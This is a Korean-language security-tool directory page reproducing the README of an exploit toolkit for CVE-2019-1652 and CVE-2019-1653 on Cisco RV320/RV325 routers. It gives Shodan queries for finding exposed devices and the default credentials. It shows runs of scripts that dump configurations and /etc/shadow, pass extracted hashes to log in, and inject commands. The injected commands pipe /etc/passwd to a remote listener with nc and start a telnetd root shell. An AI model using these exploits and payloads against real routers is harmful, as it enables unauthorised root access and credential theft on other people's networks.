Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CiscoRV320Dump — CVE-2019-1652 /CVE-2019-1653 Cisco RV320 구성 및 디버깅 데이터 덤프 익스플로잇 및 원격 루트 익스플로잇! | Kitploit
도구/GitHubGitHub/0x27/ciscorv320dump
ReconnaissancePassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationConfiguration Auditing
GitHub0x27/ciscorv320dump

CiscoRV320Dump

CVE-2019-1652 /CVE-2019-1653 Cisco RV320 구성 및 디버깅 데이터 덤프 익스플로잇 및 원격 루트 익스플로잇!

저장소 보기
228647년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CiscoRV320Dump

CVE-2019-1653/CVE-2019-1652 Cisco RV320 설정 덤프 및 RCE 획득을 위한 익스플로잇

Red Team Pentesting GmbH가 공개한 CVE-2019-1652 및 CVE-2019-1653 익스플로잇의 구현체입니다.

RV320에서만 테스트했지만, Cisco 권고에 따르면 RV325도 취약합니다.

다음 Shodan 쿼리로 찾을 수 있는 것 같습니다. 얼마나 많은지 궁금하시다면요. 꽤 많은 것 같습니다... ssl:RV320 ssl:RV325 port:161 RV325 port:161 RV320

취약점으로 인해 다음이 가능합니다:

  • (평문) 설정 파일 덤프! (webUI용 해시 포함!)
  • (암호화된) 진단/디버그 파일 덤프! (설정 및 /etc 및 /var 디렉토리 포함)
  • 암호화된 진단/디버그 파일 복호화! (네, /etc/shadow를 얻습니다!)
  • webUI에서 root로 인증 후 원격 명령 주입!

참고로 기본 자격 증명은 cisco:cisco입니다.

Exploits...

설정 덤퍼 익스플로잇...

구성 덤프 익스플로잇의 경우 대상, 포트, SSL 켜기/끄기 및 출력 디렉토리를 설정하기만 하면 됩니다. 구성 파일을 해당 위치에 덤프합니다.

root@kitploit:~
$ python dump_config.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config! Writing to output/x.x.x.x_8443.conf
$

디버그 데이터 덤퍼 익스플로잇...

디버그 데이터 덤프 익스플로잇의 경우 동일한 루틴이지만 덤프된 데이터는 더 크고 암호화되어 있습니다. 제공된 decrypt.sh 스크립트를 사용하거나 openssl을 수동으로 사용하여 복호화해야 합니다. 그러면 tar 파일이 생성됩니다. 디버그 출력은 설정뿐만 아니라 /etc 및 /var의 백업도 제공하며, /etc/shadow/ 파일도 포함되어 있습니다. 나중에 Python으로 복호화 스크립트를 다시 작성할 예정이지만, 지금은 임시 방편입니다.

root@kitploit:~
$ python dump_debug.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/export_debug_msg.exp
{*} We seem to have found a valid encrypted config! Writing to output/x.x.x.x_8443.enc
$ ./decrypt.sh output/x.x.x.x_8443.enc 
Cisco Encrypted Debug Data Decryption Script!
{+} Decrypting output/x.x.x.x_8443.enc
{+} Plaintext should be at output/x.x.x.x_8443.enc.decrypted.tar.gz...
$ 

이것들에서 얻은 (해시된) 자격 증명을 사용하여 CVE-2019-1652를 익스플로잇하여 장치에서 명령을 실행할 수 있습니다.

더 진행하기 전에 암호의 "해싱"에 대한 몇 가지 참고 사항입니다. 이러한 장치의 구성 파일에서 PASSWD라는 변수 뒤에 md5 해시가 있습니다. 이 md5 해시는 md5($password.$auth_key)이며, auth_key는 GET /을 수행하고 파싱하여 찾을 수 있는 정적 값입니다. 제가 RCE 익스플로잇에 하드코딩한 일반적인 값이 하나 있는데, 페이지 파서의 정규식이 실패할 경우를 대비한 대비책입니다.

인증 후 RCE 익스플로잇

CVE-2019-1652는 인증이 필요한 간단한 셸 명령 주입 취약점을 설명합니다. exec_cmd.py는 유효한 로그인 자격 증명이 있다고 가정하고 이를 구현합니다. 기본값은 "cisco:cisco"이지만 해시를 크랙할 수도 있습니다.

명령 주입은 블라인드이므로 출력을 얻을 수 없습니다. 환경은 매우 제한된 Busybox 설정과 기능이 제한된 netcat이며, 상자는 mips64이므로 이번에는 리버스 셸 익스플로잇을 작성하지 않았습니다. 하지만 cat /etc/passwd | nc HOST PORT와 같은 작업을 수행하고 리스너를 실행하여 명령 출력을 얻을 수 있습니다.

telnetd -l /bin/sh -p 1337과 같은 명령을 주입하고 결과 텔넷 서비스에 연결하면 인증되지 않은 루트 셸을 얻을 수 있습니다.

아래는 익스플로잇 실행 예시입니다:

root@kitploit:~
$ python exec_cmd.py -t x.x.x.x -s -p 8443 -U cisco -P cisco -c "cat /etc/passwd | nc x.x.x.x 1337"
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: cat /etc/passwd | nc x.x.x.x 1337
{+} We don't get output so... Yeah. Shits blind.
$
# on listener...
$ nc -lp 1337
root:x:0:0:root:/:/bin/admin
nobody:x:0:0:nobody:/nonexistent:/bin/false
_lldpd:x:501:501:_lldpd:/:/bin/sh
cisco:x:0:0:root:/bin:/bin/admin

$

"전체 패키지" 익스플로잇

Cisco이기 때문에 추출한 해시를 전달하여 로그인 세션을 얻을 수 있습니다. 그래서 해시를 추출하여 전달하는 익스플로잇을 작성했습니다. 이름은 easy_access.py입니다. CGI 바이너리 경로에 "EasyAccess"라는 폴더가 포함되어 있기 때문입니다.

아래는 EasyAccess 실행 예시입니다...

root@kitploit:~
$ python easy_access.py -t x.x.x.x -p 8443 -s -c "telnetd -l /bin/sh -p 1337"
{+} Gonna go grab us a config file...
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config!
{+} Extracting Creds...
{+} Got user: cisco
{+} Got password (hash): [redacted]
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: telnetd -l /bin/sh -p 1337
{+} We don't get output so... Yeah. Shits blind.

$ telnet x.x.x.x 1337
<snip>
BusyBox v1.2.1 (2017.10.30-07:33+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # id
uid=0(root) gid=99(nobody)
~ # 

즐거운 해킹 되세요.

도구 다운로드